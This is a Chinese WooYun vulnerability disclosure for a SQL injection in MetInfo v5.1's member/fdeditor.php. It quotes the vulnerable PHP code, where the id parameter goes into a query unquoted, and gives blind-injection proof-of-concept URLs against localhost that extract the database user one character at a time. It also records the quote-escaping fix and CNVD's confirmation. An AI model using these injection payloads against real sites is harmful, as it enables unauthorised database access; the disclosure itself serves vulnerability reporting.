当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062782

漏洞标题:MetInfo企业网站管理系统v5.1正式版SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-05-29 17:59

修复时间:2014-08-27 18:00

公开时间:2014-08-27 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-29: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-08-27: 细节向公众公开

简要描述:

MetInfo企业网站管理系统v5.1正式版SQL注入漏洞,无视GPC

详细说明:

MetInfo企业网站管理系统v5.1正式版
文件/member/fdeditor.php

$feedback_list=$db->get_one("select * from $met_feedback where id='$id'");
if(!$feedback_list){
okinfo('feedback.php?lang='.$lang,$lang_NoidJS);
}
if($feedback_list[readok]==1 || $feedback_list[useinfo]!='') okinfo('feedback.php?lang='.$lang,$lang_js24);
$query = "SELECT * FROM $met_parameter where lang='$lang' and module=8 order by no_order";
if($met_member_use)$query = "SELECT * FROM $met_parameter where lang='$lang' and module=8 and access<=$metinfo_member_type order by no_order";
$result = $db->query($query);
while($list= $db->fetch_array($result)){
if($list[type]==2 or $list[type]==4 or $list[type]==6){
$query1 = "select * from $met_list where lang='$lang' and bigid='".$list[id]."' order by no_order";
$result1 = $db->query($query1);
while($list1 = $db->fetch_array($result1)){
$paravalue[$list[id]][]=$list1;
}}
$value_list=$db->get_one("select * from $met_flist where paraid=$list[id] and listid=$id "); //问题在这里
$list[content]=$value_list[info];
$list[mark]=$list[name];
$list[para]="para".$list[id];
if($list[wr_ok]=='1')
{
$list[wr_must]="*";
$fdwr_list[]=$list;
}
$feedback_para[]=$list;
}


id参数没有经过单引号保护,直接进入SQL语句导致注入漏洞

漏洞证明:

1、登陆后,在线反馈,添加一个反馈
2、在管理反馈信息——查看反馈信息时id存在注入
http://localhost/metinfo5.1/member/fdeditor.php?lang=cn&id=2 AND ascii( substring( user( ) , 1, 1 ) ) >113——正常返回

1.png


http://localhost/metinfo5.1/member/fdeditor.php?lang=cn&id=2 AND ascii( substring( user( ) , 1, 1 ) ) >114——无返回

2.png


证明user()的第一个字符为r
继续修改substring( user( ) , 1, 1 )中的第二个数字,2,3,4,然后在修改后面的ascii码值,进一步得到user()=root

修复方案:

加单引号保护

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-06-03 13:30

厂商回复:

CNVD确认并复现所述情况(通过本地实例进行复现),由CNVD通过以往联系处渠道向软件生产厂商——长沙米拓公司通报。由于需要较强的利用前提,rank 12

最新状态:

暂无